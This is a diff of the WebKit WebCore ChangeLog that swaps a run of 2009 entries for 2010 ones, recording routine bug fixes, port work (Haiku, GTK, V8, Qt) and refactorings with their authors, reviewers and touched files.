-2009-09-01  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector: Migrate Databases tab to InjectedScript /
-        serialized interaction.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28873
-
-        * inspector/InspectorDOMAgent.cpp:
-        (WebCore::InspectorDOMAgent::handleEvent):
-        * inspector/front-end/Database.js:
-        (WebInspector.Database.prototype.isDB):
-        (WebInspector.Database.prototype.runWithTableNames.sortingCallback):
-        (WebInspector.Database.prototype.runWithTableNames):
-        (WebInspector.Database.prototype.executeSql):
-        (WebInspector.Database.prototype.executeSql.errorCallback):
-        (WebInspector.Database.prototype.executeSql.queryTransaction):
-        * inspector/front-end/DatabaseQueryView.js:
-        (WebInspector.DatabaseQueryView.prototype._enterKeyPressed):
-        (WebInspector.DatabaseQueryView.prototype._queryFinished):
-        * inspector/front-end/DatabaseTableView.js:
-        (WebInspector.DatabaseTableView):
-        * inspector/front-end/StoragePanel.js:
-        (WebInspector.StoragePanel.prototype.selectDatabase):
-        (WebInspector.StoragePanel.prototype.updateDatabaseTables.withTableNames):
-        (WebInspector.StoragePanel.prototype.updateDatabaseTables):
-        (WebInspector.DatabaseSidebarTreeElement.prototype.onpopulate.withTableNames):
-        (WebInspector.DatabaseSidebarTreeElement.prototype.onpopulate):
-
-2009-09-02  Pavel Feldman  <pfeldman@chromium.org>
-
-        Not reviewed (trivial followup fix). 
-        
-        Web Inspector: Trivial follow up fix to r47944.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28800
-
-        * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::nodeForId):
-
-2009-09-01  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by John Sullivan.
-
-        Fixed a bug in handling of isReadOnly, where textareas were casted to HTMLInputElements.
-
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::isReadOnly):
-
-2009-09-01  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
 
-        Reviewed by Timothy Hatcher.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28047
-        add utility method to enable logging messages for inspector development
-
-        manual test case added (see below)
-
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleMessage.prototype.toMessageElement):
-        (WebInspector.ConsoleMessage.prototype.toString):
-        * inspector/front-end/inspector.css:
-        * inspector/front-end/inspector.js:
-        (WebInspector.log):
-        * manual-tests/inspector/webinspector-log.html: Added.
-        * page/Console.cpp:
-        (WebCore::printMessageSourceAndLevelPrefix):
-        * page/Console.h:
-        (WebCore::):
-
-2009-09-01  Alexey Proskuryakov  <ap@apple.com>
-
-        Reviewed by Darin Adler.
-
-        https://bugs.webkit.org/show_bug.cgi?id=21990
-        When a rare EUC-JP character is present, explicitly (and correctly) labelled EUC-JP document
-        is mistreated as Shift_JIS
-
-        <rdar://problem/5828506> Safari should not try auto-detecting if charset information exists
-
-        WebKit used to unconditionally auto-detect document encoding if it was one of Japanese ones.
-        This didn't really match any browser, and did cause problems on some sites.
-
-        Our detector is very quick to label an EUC-JP page as Shift_JIS if it notices a byte that
-        cannot be part of EUC-JP source. However, such bytes do appear in Web pages sometimes,
-        especially in comments. Also, some valid EUC-JP sequences are not known to it.
-
-        Some pages that are fixed by this change:
-
-        <rdar://problem/5934750> Encoding in incorrect at http://cocodeparis.blog45.fc2.com/. This
-        page has incorrect encoding in title, so no browser displays it 100% fine. We now match
-        Firefox and IE.
-
-        <rdar://problem/6007713> The web page http://www.sf.us.emb-japan.go.jp/top.htm is garbled
-        in Safari. There is a stray byte in comments that was makes charset detector think it can't
-        be EUC-JP.
-
-        <rdar://problem/6965711> A Japanese web page www.nippontv.studiolegend.tv is garbled in
-        Safari. Many comments on this page are encoded as Shift_JIS - IE magically displays that
-        fine in View Source mode (it doesn't seem to have an ability to switch between EUC-JP and
-        Shift_JIS in normal HTML view though).
-
-        Test: fast/encoding/japanese-encoding-mix.html
+2010-02-23  Kwang Yul Seo  <skyul@company100.net>
 
-        * loader/TextResourceDecoder.cpp: (WebCore::TextResourceDecoder::decode): Only invoke auto-
-        detection if there is no solid charset information yet.
-
-2009-09-01  Jian Li  <jianli@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        [V8] FileList cannot be accessed via index in Chromium.
-        https://bugs.webkit.org/show_bug.cgi?id=28883
-
-        Tested by clipboard-file-access.html.
-
-        * WebCore.gypi:
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getTemplate):
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8FileListCustom.cpp: Added.
-
-2009-08-31  Jon Honeycutt  <jhoneycutt@apple.com>
+        Reviewed by Eric Seidel.
 
-        Remove the workaround added in r47316.
+        [BREWMP] Port ScriptController::createScriptInstanceForWidget
+        https://bugs.webkit.org/show_bug.cgi?id=34413
 
-        Reviewed by Sam Weinig.
+        * bindings/js/ScriptControllerBrew.cpp: Added.
+        (WebCore::ScriptController::createScriptInstanceForWidget):
 
-        * accessibility/AXObjectCache.cpp:
-        (WebCore::AXObjectCache::AXObjectCache):
+2010-02-23  José Millán Soto  <jmillan@igalia.com>
 
-        * accessibility/AXObjectCache.h:
-        Remove the Document argument to the AXObjectCache constructor and the
-        m_document member variable, and replace the no-parameter
-        handleFocusedUIElementChanged() with the two-parameter GTK function.
-        (WebCore::AXObjectCache::handleFocusedUIElementChanged):
+        Reviewed by Eric Seidel.
 
-        * accessibility/chromium/AXObjectCacheChromium.cpp:
-        (WebCore::AXObjectCache::handleFocusedUIElementChanged):
+        [Gtk] Webkit crashes when using orca
+        https://bugs.webkit.org/show_bug.cgi?id=35169
 
-        * accessibility/gtk/AXObjectCacheAtk.cpp:
-        (WebCore::AXObjectCache::handleFocusedUIElementChanged):
+        Made webkit_accessible_text_get_caret_offset check if end selection
+        node is null.
 
         * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (fallbackObject):
-        Don't pass a null Document when constructing the AXObjectCache.
-
-        * accessibility/mac/AXObjectCacheMac.mm:
-        (WebCore::AXObjectCache::handleFocusedUIElementChanged):
-
-        * accessibility/win/AXObjectCacheWin.cpp:
-        (WebCore::AXObjectCache::handleFocusedUIElementChanged):
-        Get the document from the RenderObject; m_document was removed.
-
-        * dom/Document.cpp:
-        (WebCore::Document::axObjectCache):
-        Don't pass the Document when constructing the AXObjectCache.
-        (WebCore::Document::setFocusedNode):
-        Pass the old and new focused RenderObjects when calling
-        handleFocusedUIElementChanged().
-
-2009-09-01  Yury Semikhatsky  <yurys@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Check that InspectorDOMAgent and InspectorFrontend are not null
-        before accessing them in InspectorBackend. They may be null if
-        InspectorController is closed before an asynchronous operation is
-        started.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28800
-
-        * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::getCookies):
-        (WebCore::InspectorBackend::getChildNodes):
-        (WebCore::InspectorBackend::setAttribute):
-        (WebCore::InspectorBackend::removeAttribute):
-        (WebCore::InspectorBackend::setTextNodeValue):
-        (WebCore::InspectorBackend::highlight):
-        (WebCore::InspectorBackend::nodeForId):
-        (WebCore::InspectorBackend::pushNodePathToFrontend):
-        (WebCore::InspectorBackend::addNodesToSearchResult):
-        (WebCore::InspectorBackend::selectDatabase):
-        (WebCore::InspectorBackend::selectDOMStorage):
-        (WebCore::InspectorBackend::inspectorDOMAgent):
-        (WebCore::InspectorBackend::inspectorFrontend):
-        * inspector/InspectorBackend.h:
-
-2009-09-01  Brady Eidson  <beidson@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        Page Cache should support pages with frames
-        https://bugs.webkit.org/show_bug.cgi?id=13631
-
-        Things learned in the full task that this patch addresses:
-        - The notions of clearing a CachedFrame and destroying a CachedFrame were two concepts that 
-          needed to be managed separately.
-        - Once we start restoring pages with multiple CachedFrames, we'll have to be calling
-          FrameLoader::open(CachedFrame&) multiple times with different CachedFrames, and this process
-          will be guided by the CachedFrames themselves.
-
-        No new tests. (No change in behavior, current layout tests pass)
-        
-        * history/CachedFrame.cpp:
-        (WebCore::CachedFrame::CachedFrame):
-        (WebCore::CachedFrame::~CachedFrame):
-        (WebCore::CachedFrame::clear): Only clear pointers out.
-        (WebCore::CachedFrame::destroy): Perform the destructive cleanup work here - Things that shouldn't
-          occur simply by navigating back to a page with a CachedFrame.
-        * history/CachedFrame.h:
-
-        * history/CachedPage.cpp:
-        (WebCore::CachedPage::~CachedPage):
-        (WebCore::CachedPage::restore): Call clear() after restoring.
-        (WebCore::CachedPage::clear):
-        (WebCore::CachedPage::destroy):
-        * history/CachedPage.h:
-
-        * history/PageCache.cpp:
-        (WebCore::PageCache::releaseAutoreleasedPagesNow): destroy() CachedPages that are being pruned,
-          instead of clearing them.
-
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::commitProvisionalLoad): Let the CachedPage clear() itself after restoring.
-        (WebCore::FrameLoader::open): Don't ::open() the CachedFrame, as the CachedPage does that now.
-        * loader/FrameLoader.h:  Add the friending so CachedPage and CachedFrame can better guide the process.
-          Even though CachedFrame::restore() isn't used for now, it will be soon.
-
-2009-09-01  Andrei Popescu  <andreip@google.com>
-
-        Reviewed by David Levin.
-
-        Add a "lowMemoryNotification" method to the V8 ScriptController class.
-        This is needed in order to allow the host application (Android Web browser in this case)
-        to call the v8::V8::LowMemoryNotification() method added to V8 in
-        http://code.google.com/p/v8/source/detail?spec=svn2777&r=2725
-        
-        https://bugs.webkit.org/show_bug.cgi?id=28776
-
-
-        * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::lowMemoryNotification):
-        * bindings/v8/ScriptController.h:
-
-2009-09-01  Fumitoshi Ukai  <ukai@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        V8 Bindings for WebSocket API.
-        https://bugs.webkit.org/show_bug.cgi?id=28844
-
-        * bindings/v8/DOMObjectsInclude.h:
-        * bindings/v8/DerivedSourcesAllInOne.cpp:
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getTemplate):
-        (WebCore::V8DOMWrapper::convertToV8Object):
-        (WebCore::V8DOMWrapper::convertEventTargetToV8Object):
-        * bindings/v8/V8DOMWrapper.h:
-        * bindings/v8/V8Index.cpp:
-        * bindings/v8/V8Index.h:
-        * bindings/v8/WorkerContextExecutionProxy.cpp:
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8WebSocketCustom.cpp: Added.
-
-2009-09-01  Peter Kasting  <pkasting@google.com>
-
-        Unreviewed (build fix).
-
-        Missed a "." -> "->" conversion.
-
-        * platform/graphics/qt/ImageDecoderQt.cpp:
-        (WebCore::ImageDecoderQt::ReadContext::ReadContext):
-
-2009-09-01  Peter Kasting  <pkasting@google.com>
-
-        Unreviewed (build fix).
-
-        Try to fix Qt build, take 2.  The Qt code had what looks like a
-        broken virtual function override.
-
-        * platform/graphics/qt/ImageDecoderQt.cpp:
-        (WebCore::ImageDecoderQt::ReadContext::ReadContext):
-        (WebCore::ImageDecoderQt::setData):
-        * platform/graphics/qt/ImageDecoderQt.h:
-
-2009-09-01  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Sam Weinig.
-
-        Uninitialized variable in XSSAuditor
-        https://bugs.webkit.org/show_bug.cgi?id=28874
-
-        One ought to initialize variables before use even when it doesn't
-        matter.  No behavior change.
-
-        * page/XSSAuditor.h:
-        (WebCore::XSSAuditor::CachingURLCanonicalizer::CachingURLCanonicalizer):
-
-2009-09-01  Peter Kasting  <pkasting@google.com>
-
-        Unreviewed (build fix).
-
-        Try to fix Qt build.
-
-        * platform/graphics/ImageSource.cpp:
+        (webkit_accessible_text_get_caret_offset):
 
-2009-08-28  Peter Kasting  <pkasting@google.com>
+2010-02-22  Stephan Aßmus  <superstippi@gmx.de>
 
         Reviewed by Eric Seidel.
 
-        https://bugs.webkit.org/show_bug.cgi?id=27965
-        Eliminate most of ImageSourceQt.cpp in favor of ImageSource.cpp.
-
-        * WebCore.pro:
-        * platform/graphics/ImageSource.cpp:
-        (WebCore::ImageSource::frameHasAlphaAtIndex):
-        * platform/graphics/qt/ImageSourceQt.cpp:
-        (WebCore::ImageSource::createFrameAtIndex):
-        (WebCore::ImageSource::frameHasAlphaAtIndex):
-        (WebCore::ImageSource::frameIsCompleteAtIndex):
-
-2009-09-01  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector: Make InjectedScript self-contained (move necessary
-        methods from utilities.js into InjectedScript).
-
-        https://bugs.webkit.org/show_bug.cgi?id=28871
-
-        * inspector/front-end/ElementsPanel.js:
-        (WebInspector.ElementsPanel.prototype.generateStylesheet):
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript._ensureCommandLineAPIInstalled.inspectObject):
-        (InjectedScript._ensureCommandLineAPIInstalled):
-        (InjectedScript.pushNodeToFrontend):
-        (InjectedScript.createProxyObject):
-        (Object.type):
-        (Object.hasProperties):
-        (Object.className):
-        (String.prototype.escapeCharacters):
-        * inspector/front-end/utilities.js:
-
-2009-09-01  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
+        [Haiku] Implemented PopupMenu support.
+        https://bugs.webkit.org/show_bug.cgi?id=35078
 
-        WebInspector: console log message repeat count double.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28856
-
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript._evaluateOn):
-
-2009-09-01  Jan Michael Alonzo  <jmalonzo@webkit.org>
-
-        Reviewed by Mark Rowe.
-
-        [Gtk] Fix DATALIST build
-        https://bugs.webkit.org/show_bug.cgi?id=28826
+        Covered by existing tests.
 
-        Add ENABLE_DATALIST to FEATURE_DEFINES.
+        The implementation is currently very simple: Added a PopupMenuHaiku
+        class that derives from a native BPopUpMenu. It attaches a BHandler
+        derivative to the BApplication (WebCore main thread) which receives
+        the item invokation and menu hidden events and informs the PopupMenuClient
+        accordingly.
 
-        * GNUmakefile.am:
+        * platform/PopupMenu.h:
+            Changed type of m_menu for Haiku.
+        * platform/haiku/PopupMenuHaiku.cpp:
+        (WebCore::PopupMenuHandler::PopupMenuHandler):
+        (WebCore::PopupMenuHandler::MessageReceived):
+        (WebCore::PopupMenuHaiku::PopupMenuHaiku):
+        (WebCore::PopupMenuHaiku::~PopupMenuHaiku):
+        (WebCore::PopupMenuHaiku::show):
+        (WebCore::PopupMenuHaiku::hide):
+        (WebCore::PopupMenuHaiku::Hide):
+        (WebCore::PopupMenu::PopupMenu):
+        (WebCore::PopupMenu::~PopupMenu):
+            Removed bogus code.
+        (WebCore::PopupMenu::show):
+            Implemented using new PopupMenuHaiku class.
+        (WebCore::PopupMenu::hide):
+            Implemented using new PopupMenuHaiku class.
+        (WebCore::PopupMenu::updateFromElement):
+            Implemented.
+        (WebCore::PopupMenu::itemWritingDirectionIsNatural):
+            Implemented according to Gtk port.
 
-2009-09-01  Cameron McCormack  <cam@mcc.id.au>
+2010-02-22  Stephan Aßmus  <superstippi@gmx.de>
 
         Reviewed by Eric Seidel.
 
-        SVGSVGElement suspend methods argument/return types incorrect
-        https://bugs.webkit.org/show_bug.cgi?id=28860
+        Fix various issues in PlatformMouseEventHaiku.
+        https://bugs.webkit.org/show_bug.cgi?id=34685
 
-        Also fix the style of the argument names.
+        Covered by existing tests.
+        
+        Mapping Haiku button constants (bit field) to WebCore buttons was broken.
+        Extracting event time was broken (supposed to be in seconds).
+        Wrong coordinate was being extracted, needs to be content local.
+        Added extracting modifier key flags.
 
-        * svg/SVGSVGElement.cpp:
-        (WebCore::SVGSVGElement::suspendRedraw):
-        (WebCore::SVGSVGElement::unsuspendRedraw):
-        * svg/SVGSVGElement.h:
+        * platform/haiku/PlatformMouseEventHaiku.cpp:
+        (WebCore::PlatformMouseEvent::PlatformMouseEvent):
 
-2009-09-01  Roland Steiner  <rolandsteiner@google.com>
+2010-02-22  Stephan Aßmus  <superstippi@gmx.de>
 
         Reviewed by Eric Seidel.
 
-        Fix bug 28808:  [Skia] Fix flaky layout test svg/dynamic-updates/SVGClipPathElement-dom-clipPathUnits-attr.html [DEBUG]
-        (https://bugs.webkit.org/show_bug.cgi?id=28808)
-
-        The bug fix adds an explicit check for the validity of the path when it is 
-        transformed into local coordinates. 
-        This was the most suitable place I could find that didn't cause an inordinate 
-        amount of refactoring. Also, it seems pertinent and may also catch other cases 
-        that are not limited to clipping paths.
+        [Haiku] Implement creating and filling platform gradients.
+        https://bugs.webkit.org/show_bug.cgi?id=34683
 
-        TEST: existing svg/dynamic-updates/SVGClipPathElement-dom-clipPathUnits-attr.html
+        Covered by existing tests.
 
-        * platform/graphics/skia/GraphicsContextSkia.cpp: make isPathSkiaSafe accessible
-        (WebCore::):
-        * platform/graphics/skia/PlatformContextSkia.cpp:
-        (PlatformContextSkia::currentPathInLocalCoordinates): check Skia safety of path
+        * platform/graphics/Gradient.h:
+            Typedef PlatformGradient to BGradient
+        * platform/graphics/haiku/GradientHaiku.cpp:
+        (WebCore::Gradient::platformDestroy):
+            Delete the cached BGradient object.
+        (WebCore::Gradient::platformGradient):
+            Create a BGradient object according to the type of Gradient.
+            Return the cached object.
+        (WebCore::Gradient::fill):
+            use BView API to fill with the platform gradient.
 
-2009-09-01  Yusuke Sato  <yusukes@chromium.org>
+2010-02-22  Stephan Aßmus  <superstippi@gmx.de>
 
         Reviewed by Eric Seidel.
 
-        [Chromium] Combining Diacritical Marks (U+0300..) are not handled correctly.
-        https://bugs.webkit.org/show_bug.cgi?id=28742 
+        Build fix for debug builds of GlyphPageTreeNode.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=34528
 
-        Normalize (NFC) a TextRun when the run contains combining diacritical marks
-        so that Skia can pick a correct glyph without relying on GSUB table in a font.
-        This change is for Chromium Linux.
-
-        * platform/graphics/chromium/FontLinux.cpp:
-        (WebCore::TextRunWalker::getTextRun): Added.
-        (WebCore::TextRunWalker::getNormalizedTextRun): Added.
-
-        This function is called when the run contains U+0300..U+036F and converts characters in
-        the run to the combined form (NFC) using ICU.
-
-2009-09-01  Vitaly Repeshko  <vitalyr@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
+        Covered by existing tests.
 
-        [V8] Inlined fast paths of V8DOMWrapper::convertNodeToV8Object and
-        V8Proxy::createWrapperFromCache.
-        https://bugs.webkit.org/show_bug.cgi?id=28848
+        * platform/graphics/GlyphPageTreeNode.cpp:
+            include <stdio.h> since printf() is used if NDEBUG is not defined.
 
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::convertDocumentToV8Object): Special
-        function for document wrapping.
-        (WebCore::V8DOMWrapper::convertNewNodeToV8Object): Slow case of
-        wrapping a new node.
-        * bindings/v8/V8DOMWrapper.h:
-        (WebCore::V8DOMWrapper::convertNodeToV8Object): Extracted fast
-        path from V8DOMWrapper.cpp.
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::createWrapperFromCacheSlowCase):
-        * bindings/v8/V8Proxy.h:
-        (WebCore::V8Proxy::createWrapperFromCache): Extracted fast path
-        from V8Proxy.cpp.
+2010-02-22  Nate Chapin  <japhet@chromium.org>
 
-2009-09-01  Eric Seidel  <eric@webkit.org>
+        Unreviewed, Chromium build fix.
 
-        No review, windows build fix only.  Clearly I should have read the patch closer. :(
+        Add special case in CodeGeneratorV8.pm for named getters for html plugin-related elements.
 
-        Allow excluding certain plugins from loading
-        https://bugs.webkit.org/show_bug.cgi?id=28677
+        CodeGeneratorV8.pm was relying on HasOverridingNameGetter to hint
+        that a custom named getter was needed. That hint was removed in
+        http://trac.webkit.org/changeset/55104.
 
-        * plugins/PluginDatabase.cpp:
-        (WebCore::PluginDatabase::refresh):
+        * bindings/scripts/CodeGeneratorV8.pm:
 
-2009-09-01  Alexander Pavlov  <apavlov@chromium.org>
+2010-02-22  Alexey Proskuryakov  <ap@apple.com>
 
-        Reviewed by Timothy Hatcher.
+        Rubber-stamped by Geoff Garen.
 
-        Implement conditional breakpoints in the Web Inspector backend
-        and add frontend JavaScript stubs.
-        https://bugs.webkit.org/show_bug.cgi?id=28846
+        Rename RuntimeObjectImp to RuntimeObject.
 
-        * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::profiles):
-        (WebCore::InspectorBackend::addBreakpoint):
-        (WebCore::InspectorBackend::updateBreakpoint):
-        * inspector/InspectorBackend.h:
-        * inspector/InspectorBackend.idl:
-        * inspector/JavaScriptDebugServer.cpp:
-        (WebCore::JavaScriptDebugServer::BreakpointInfo::condition):
-        (WebCore::JavaScriptDebugServer::BreakpointInfo::setCondition):
-        (WebCore::JavaScriptDebugServer::addBreakpoint):
-        (WebCore::JavaScriptDebugServer::breakpointInfo):
-        (WebCore::JavaScriptDebugServer::updateBreakpoint):
-        (WebCore::JavaScriptDebugServer::updateBreakpointInfo):
-        (WebCore::JavaScriptDebugServer::removeBreakpoint):
-        (WebCore::JavaScriptDebugServer::hasBreakpoint):
-        (WebCore::JavaScriptDebugServer::clearBreakpoints):
-        * inspector/JavaScriptDebugServer.h:
-        (WebCore::JavaScriptDebugServer::BreakpointInfo::BreakpointInfo):
-        * inspector/front-end/Breakpoint.js:
-        (WebInspector.Breakpoint):
-        (WebInspector.Breakpoint.prototype.get id):
-        (WebInspector.Breakpoint.prototype.get condition):
-        (WebInspector.Breakpoint.prototype.set condition):
-        * inspector/front-end/BreakpointsSidebarPane.js:
-        (WebInspector.BreakpointsSidebarPane.prototype.addBreakpoint):
-        (WebInspector.BreakpointsSidebarPane.prototype._breakpointEnableChanged):
-        * inspector/front-end/ScriptsPanel.js:
-        (WebInspector.ScriptsPanel.prototype.addScript):
+        * WebCore.PluginHostProcess.exp:
+        * bindings/js/JSPluginElementFunctions.cpp:
+        (WebCore::getRuntimeObject):
+        (WebCore::runtimeObjectPropertyGetter):
+        (WebCore::runtimeObjectCustomGetOwnPropertySlot):
+        (WebCore::runtimeObjectCustomGetOwnPropertyDescriptor):
+        (WebCore::runtimeObjectCustomPut):
+        * bindings/objc/WebScriptObject.mm:
+        (+[WebScriptObject _convertValueToObjcValue:originRootObject:rootObject:]):
+        * bridge/c/c_utility.cpp:
+        (JSC::Bindings::convertValueToNPVariant):
+        * bridge/jni/jni_jsobject.mm:
+        (JavaJSObject::convertValueToJObject):
+        * bridge/jni/jsc/JNIUtilityPrivate.cpp:
+        (JSC::Bindings::convertValueToJValue):
+        * bridge/jsc/BridgeJSC.cpp:
+        (JSC::Bindings::Instance::createRuntimeObject):
+        (JSC::Bindings::Instance::newRuntimeObject):
+        * bridge/jsc/BridgeJSC.h:
+        * bridge/objc/objc_runtime.mm:
+        (JSC::Bindings::callObjCFallbackObject):
+        * bridge/qt/qt_instance.cpp:
+        (JSC::Bindings::QtRuntimeObject::markChildren):
+        (JSC::Bindings::):
+        (JSC::Bindings::QtRuntimeObject::QtRuntimeObject):
+        (JSC::Bindings::QtInstance::getInstance):
+        (JSC::Bindings::QtInstance::newRuntimeObject):
+        * bridge/qt/qt_instance.h:
+        * bridge/qt/qt_pixmapruntime.cpp:
+        (JSC::Bindings::QtPixmapRuntimeObject::QtPixmapRuntimeObject):
+        (JSC::Bindings::):
+        (JSC::Bindings::QtPixmapInstance::variantFromObject):
+        (JSC::Bindings::QtPixmapInstance::createRuntimeObject):
+        * bridge/qt/qt_runtime.cpp:
+        (JSC::Bindings::valueRealType):
+        * bridge/runtime_method.cpp:
+        (JSC::callRuntimeMethod):
+        * bridge/runtime_object.cpp:
+        (JSC::RuntimeObject::RuntimeObject):
+        (JSC::RuntimeObject::~RuntimeObject):
+        (JSC::RuntimeObject::invalidate):
+        (JSC::RuntimeObject::fallbackObjectGetter):
+        (JSC::RuntimeObject::fieldGetter):
+        (JSC::RuntimeObject::methodGetter):
+        (JSC::RuntimeObject::getOwnPropertySlot):
+        (JSC::RuntimeObject::getOwnPropertyDescriptor):
+        (JSC::RuntimeObject::put):
+        (JSC::RuntimeObject::deleteProperty):
+        (JSC::RuntimeObject::defaultValue):
+        (JSC::callRuntimeObject):
+        (JSC::RuntimeObject::getCallData):
+        (JSC::callRuntimeConstructor):
+        (JSC::RuntimeObject::getConstructData):
+        (JSC::RuntimeObject::getOwnPropertyNames):
+        (JSC::RuntimeObject::throwInvalidAccessError):
+        * bridge/runtime_object.h:
+        * bridge/runtime_root.cpp:
+        (JSC::Bindings::RootObject::invalidate):
+        (JSC::Bindings::RootObject::addRuntimeObject):
+        (JSC::Bindings::RootObject::removeRuntimeObject):
+        * bridge/runtime_root.h:
 
-2009-09-01  Marius Renn  <damarvy@gmail.com>
+2010-02-19  Peter Kasting  <pkasting@google.com>
 
         Reviewed by Eric Seidel.
 
-        Added delegate to PluginDatabase to disable loading certain plugins.
-        This is useful when you want to load from the standard plugin
-        directory, but want to exclude certain plugins. Plugins may be
-        excluded early on by name, so that no plugin code is executed (which
-        may have caused a crash).
-
-        * plugins/PluginDatabase.cpp:
-        (WebCore::PluginDatabase::PluginDatabase):
-        (WebCore::PluginDatabase::refresh):
-        * plugins/PluginDatabase.h:
-        (WebCore::PluginDatabase::setClient):
-        * plugins/PluginDatabaseClient.h: Added.
-        (WebCore::PluginDatabaseClient::~PluginDatabaseClient):
-
-2009-08-31  Brady Eidson  <beidson@apple.com>
-
-        Rubberstamped by Sam Weinig
-
-        * WebCore.base.exp: Removed an unneeded symbol export.
-
-2009-08-31  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
-
-        Reviewed by Alexey Proskuryakov.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28466
-        When downloading a file, two GET requests are sent to the HTTP server
-
-        Can't think of a way to test this.
-
-        * loader/ResourceLoader.cpp:
-        (WebCore::ResourceLoader::releaseResources): only nullify the
-        handle's client when it is the ResourceLoader, to support the case
-        in which a download API uses a different client
-
-2009-08-31  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Darin Adler.
-
-        Text Fields and Text Areas are reported as read-only by inspect32.exe.
-        https://bugs.webkit.org/show_bug.cgi?id=28854
-
-        Added another case in AcccessibiltyRenderObject::isReadOnly to test if text fields
-        and texts areas are read-only.
-
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::isReadOnly):
-        (WebCore::AccessibilityRenderObject::canSetValueAttribute):
-
-2009-08-31  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by Alexey Proskuryakov.
-
-        fast/workers/worker-lifecycle.html crashes intermittently on snowleopard
-        https://bugs.webkit.org/show_bug.cgi?id=28795
-
-        Changed WorkerContext::close() to no longer stop the worker thread.
-        It is now the parent's responsibility to shut down the worker thread when it is notified that the context is closed.
-
-        * workers/AbstractWorker.cpp:
-        Updated dispatchScriptErrorEvent to pass-through the "handled" value from dispatchEvent(), to allow event handlers added with addEventListener() to mark events as handled.
-        * workers/DefaultSharedWorkerRepository.cpp:
-        (WebCore::SharedWorkerProxy::workerContextClosed):
-        Now shuts down the worker thread when notified that the context is closed.
-        (WebCore::SharedWorkerProxy::close):
-        Now handles being invoked when the context is already in the process of shutting down.
-        * workers/WorkerContext.cpp:
-        (WebCore::WorkerContext::close):
-        No longer calls WorkerThread::stop() to avoid race conditions with shutting down the thread while the parent is still interacting with it.
-        * workers/WorkerContext.h:
-        (WebCore::WorkerContext::isClosing):
-        isClosing() is now public so WorkerRunLoop can call it to determine whether to process tasks.
-        * workers/WorkerMessagingProxy.cpp:
-        (WebCore::WorkerExceptionTask::performTask):
-        Error events should still be delivered even if the worker thread is closing.
-        Also fixed problem where error events were not dispatched if error handlers were added via addEventListener().
-        (WebCore::WorkerTerminateTask::create):
-        New task that invokes terminateWorkerContext() on the parent thread when the context is closed.
-        (WebCore::WorkerTerminateTask::WorkerTerminateTask):
-        (WebCore::WorkerTerminateTask::performTask):
-        (WebCore::WorkerMessagingProxy::workerContextClosed):
-        Now fires off a WorkerTerminateTask to shut down the thread when the context is closed.
-        * workers/WorkerMessagingProxy.h:
-        WorkerMessagingProxy now overrides workerContextClosed().
-        * workers/WorkerRunLoop.cpp:
-        (WebCore::WorkerRunLoop::runInMode):
-        Now drops tasks on the floor if the WorkerContext is closing.
-
-2009-08-31  Ojan Vafai  <ojan@chromium.org>
-
-        Not reviewed (build fix)
-
-        Build fix for Chromium to match r49707.
-
-        * bindings/v8/ScriptCallFrame.cpp:
-        (WebCore::ScriptCallFrame::ScriptCallFrame):
-        * bindings/v8/ScriptSourceCode.h:
-        (WebCore::ScriptSourceCode::ScriptSourceCode):
-        * platform/KURLGoogle.cpp:
-        (WebCore::KURL::KURL):
-        (WebCore::blankURL):
-
-2009-08-31  Alexey Proskuryakov  <ap@webkit.org>
-
-        Reviewed by Darin Adler.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28858
-        Element.baseURI parses xml:base attribute incorrectly
+        Avoid recursion when trying to get the size of a PNG; it's unnecessary
+        and in the worst case can lead to heap corruption.
+        https://bugs.webkit.org/show_bug.cgi?id=35167
 
-        Test: fast/dom/base-attribute-parsing.xhtml
+        Test: fast/images/bad-png.html
 
-        * dom/Element.cpp: (WebCore::Element::baseURI): Avoid assertion failure (no change in
-        release mode).
-
-2009-08-31  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Reverting http://trac.webkit.org/changeset/47904, because it caused
-        layout test failure.
-
-        Test: fast/dom/Window/new-window-opener.html
-
-2009-08-31  Alexey Proskuryakov  <ap@webkit.org>
+        * platform/image-decoders/png/PNGImageDecoder.cpp:
+        (WebCore::PNGImageReader::decode):
 
-        Reviewed by Darin Adler.
+2010-02-22  Brady Eidson  <beidson@apple.com>
 
